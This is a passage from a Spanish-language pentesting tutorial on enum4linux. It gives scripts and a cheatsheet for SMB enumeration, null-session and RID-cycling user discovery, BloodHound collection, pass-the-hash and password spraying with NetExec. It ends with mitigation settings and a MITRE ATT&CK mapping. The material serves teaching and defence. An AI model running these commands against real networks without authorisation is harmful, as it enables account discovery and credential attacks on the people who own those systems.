echo '[2] Enumeracion SMB con enum4linux...'
while read ip; do
echo " Enumerando $ip..."
enum4linux -a "$ip" 2>&1 > "$OUT/enum4linux_$ip.txt"
done < "$OUT/hosts_smb.txt"
echo '[3] Extraer lista de usuarios de todos los objetivos...'
grep 'Account:' "$OUT"/enum4linux_*.txt | \
awk '{print $7}' | sort -u > "$OUT/usuarios.txt"
echo " Usuarios unicos: $(wc -l < $OUT/usuarios.txt)"
echo '[4] Verificar credenciales por defecto con NetExec...'
nxc smb "$OUT/hosts_smb.txt" -u "$OUT/usuarios.txt" \
-p 'Password123' --no-bruteforce 2>&1 | \
grep '\[+\]' >> "$OUT/credenciales_validas.txt"
echo "Completado. Resultados en $OUT/"
Integracion con BloodHound para mapa de AD
# Despues de enum4linux, para un mapa grafico del AD usar BloodHound:
# Recopilar datos para BloodHound con SharpHound (desde Windows):
# SharpHound.exe -c All
# O con BloodHound.py desde Kali (requiere credenciales):
pip3 install bloodhound
python3 bloodhound.py -d CONTOSO.LOCAL -u jdoe -p Password123 \
-c All -ns 192.168.56.10
# O con NetExec directamente:
nxc ldap 192.168.56.10 -u jdoe -p Password123 \
--bloodhound --collection All
# Iniciar BloodHound y neo4j:
sudo neo4j start
bloodhound
# Importar los archivos .zip generados
# BloodHound muestra graficamente las rutas de escalada
❓ Ejercicio práctico
Crea un script de bash que: (1) ejecute enum4linux contra una IP, (2) extraiga automáticamente los usuarios encontrados, (3) guarde la lista en un archivo
usuarios.txt listo para usar con NetExec.💡 Pista: enum4linux -U IP | grep 'Account:' | awk... --- Redirigir a usuarios.txt
Ver solución
#!/bin/bash --- IP=$1 --- enum4linux -U $IP 2>&1 | grep 'Account:' | awk '{print $7}' | sort -u > usuarios.txt --- echo 'Usuarios encontrados:' $(wc -l < usuarios.txt) --- cat usuarios.txt --- Luego: nxc smb $IP -u usuarios.txt -p 'Password123' --no-bruteforce
📚
Cheatsheet Completo de enum4linux
Referencia rápida de todos los comandos
enum4linux Cheatsheet completo
# ── ENUMERACION COMPLETA ─────────────────────────────
enum4linux -a IP # Todo sin credenciales
enum4linux -u USER -p PASS -a IP # Todo con credenciales
# ── CATEGORIAS INDIVIDUALES ──────────────────────────
enum4linux -U IP # Solo usuarios
enum4linux -G IP # Solo grupos
enum4linux -S IP # Solo shares SMB
enum4linux -P IP # Solo password policy
enum4linux -o IP # Info del OS
enum4linux -n IP # Info NetBIOS
enum4linux -i IP # Impresoras
enum4linux -r IP # RID cycling (rango default)
enum4linux -R 500-1100 IP # RID cycling rango especifico
# ── NULL SESSION ─────────────────────────────────────
enum4linux -u '' -p '' -a IP # Null session explicita
smbclient -L //IP -N # Verificar null session
rpcclient -U '' -N IP -c 'querydispinfo' # Null session via rpcclient
# ── GUARDAR SALIDA ───────────────────────────────────
enum4linux -a IP 2>&1 | tee salida.txt
enum4linux -a IP 2>&1 > salida.txt
# ── EXTRAER DATOS ESPECIFICOS ────────────────────────
# Usuarios:
enum4linux -U IP 2>&1 | grep 'Account:' | awk '{print $7}'
# Shares:
enum4linux -S IP 2>&1 | grep 'Mapping'
# Password policy:
enum4linux -P IP 2>&1 | grep -iE '(lockout|minimum|history)'
# Solo hallazgos positivos:
enum4linux -a IP 2>&1 | grep '\[+\]'
# ── ENUM4LINUX-NG ────────────────────────────────────
python3 enum4linux-ng.py -A IP # Todo
python3 enum4linux-ng.py -A -oJ out.json IP # Salida JSON
python3 enum4linux-ng.py -A -oA output IP # JSON + YAML
python3 enum4linux-ng.py -A -u user -p pass IP # Con credenciales
python3 enum4linux-ng.py -A -u admin -H NTHASH IP # Pass-the-Hash
python3 enum4linux-ng.py -DC IP # Info AD/LDAP del DC
# ── RPCCLIENT DIRECTO ────────────────────────────────
rpcclient -U 'user%pass' IP -c 'querydispinfo' # Usuarios
rpcclient -U 'user%pass' IP -c 'enumdomgroups' # Grupos
rpcclient -U 'user%pass' IP -c 'getdompwinfo' # Password policy
rpcclient -U 'user%pass' IP -c 'querygroupmem 0x200' # Miembros Domain Admins
rpcclient -U 'user%pass' IP -c 'lsaquery' # SID del dominio
📈
enum4linux vs Otras Herramientas
Cuándo usar enum4linux frente a NetExec, smbmap, rpcclient...
📈ENUM4LINUX VS OTRAS HERRAMIENTAS DE ENUMERACIÓN SMB
| Herramienta | Lenguaje | Fuerte en | Débil en | Mejor uso |
|---|---|---|---|---|
| enum4linux | Perl | Wrapper automatico, muy fácil, ampliamente documentado en CTFs | Sin JSON, sin LDAP nativo, sin mantenimiento activo | CTFs, pentests rápidos, aprendizaje |
| enum4linux-ng | Python | LDAP, JSON/YAML, Kerberos, mantenido activamente | Menos documentado en walkthroughs | Entornos AD modernos, automatización |
| NetExec (nxc) | Python | Mas completo, PtH, spray, exec, volcado | Más complejo, más ruidoso | Pentests reales, post-explotación |
| smbmap | Python | Mapeo detallado de permisos de shares | Solo shares, no usuarios ni policy | Análisis detallado de shares |
| rpcclient | C (Samba) | Control total sobre RPC, muy detallado | Manual, no automatizado | Cuando necesitas granularidad total |
| nmap --script smb-* | Lua NSE | Integrado con Nmap, muchos scripts | Más lento que herramientas dedicadas | Cuando ya usas Nmap para el scan de puertos |
🛡
Defensa y Mitigación
Cómo proteger tu infraestructura contra la enumeración SMB
🛡CÓMO PROTEGERSE CONTRA LA ENUMERACIÓN SMB
| Vulnerabilidad | Qué permite | Mitigación |
|---|---|---|
| Null sessions habilitadas | Enumerar usuarios, grupos y shares sin credenciales | Deshabilitar null sessions: RestrictAnonymous = 2 en el registro |
| SMB sin firma digital | SMB relay attacks | Habilitar SMB Signing obligatorio via GPO |
| Enumeración SAMR sin restricciones | Listar todos los usuarios del dominio | Restringir enumeración de cuentas con RestrictAnonymousSAM = 1 |
| RID cycling no bloqueado | Descubrir usuarios por fuerza bruta de SIDs | No hay bloqueo nativo; monitorizar en SIEM (muchas peticiones LSARPC en poco tiempo) |
| GPP Passwords en SYSVOL | Obtener contraseñas en texto plano de cuentas de servicio | Eliminar todos los archivos Groups.xml con cpassword de SYSVOL |
Configurar restricciones de null session en Windows
# Deshabilitar null sessions completamente (puede romper compatibilidad):
# HKLM\SYSTEM\CurrentControlSet\Control\Lsa
# RestrictAnonymous = 2 (bloquea todo acceso anonimo)
# Restriccion moderada (permite IPC$ pero no enumeracion):
# RestrictAnonymous = 1
# RestrictAnonymousSAM = 1
# Aplicar via PowerShell (en el DC):
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' \
-Name 'RestrictAnonymous' -Value 2 -Type DWord
# Verificar la configuracion actual:
Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' | \
Select-Object RestrictAnonymous, RestrictAnonymousSAM
# Detectar intentos de enumeracion en los logs:
# Event ID 4624: Logon de tipo 3 (red) con cuenta anonima
# Event ID 4776: Intentos de autenticacion NTLM fallidos repetidos
# Sysmon Event ID 3: conexiones a puerto 445 desde IPs inesperadas
💡 SEGURIDAD POR CAPASRestringir las null sessions reduce la superficie de ataque pero no es suficiente. Un atacante con una sola credencial válida (obtenida via Responder, Password Spraying u otra técnica) puede usar enum4linux con
-u y -p para obtener toda la misma información. La defensa completa requiere: política de mínimo privilegio, MFA, monitoreo continuo y respuesta a incidentes.🏆
MITRE ATT&CK — Mapping
Técnicas MITRE cubiertas por la enumeración con enum4linux
| Táctica MITRE | Técnica | Qué detecta enum4linux |
|---|---|---|
| Discovery | T1018 Remote System Discovery | Identificar el hostname, dominio y OS del objetivo |
| Discovery | T1087.002 Account Discovery: Domain Account | Enumerar usuarios del dominio via SAMR y RID cycling |
| Discovery | T1069.002 Permission Groups Discovery: Domain Groups | Enumerar grupos del dominio y sus miembros |
| Discovery | T1135 Network Share Discovery | Listar recursos compartidos SMB y sus permisos |
| Discovery | T1201 Password Policy Discovery | Obtener la política de contraseñas del dominio |
| Credential Access | T1552.006 Group Policy Preferences | Descubrir GPP Passwords en SYSVOL (cpassword en Groups.xml) |
| Initial Access | T1078.002 Valid Accounts: Domain Accounts | La lista de usuarios facilita la identificación de cuentas para atacar |
✓ CONCLUSIÓNenum4linux es la herramienta de enumeración SMB más conocida y utilizada en CTFs y pentests. Con un solo comando
-a extrae usuarios, grupos, shares, política de contraseñas e información del dominio de sistemas Windows y Samba. Su contraparte moderna, enum4linux-ng, añade soporte LDAP, salida JSON y mejor compatibilidad con Active Directory moderno. La información obtenida alimenta directamente ataques posteriores: Password Spraying, Kerberoasting, Golden Ticket y movimiento lateral.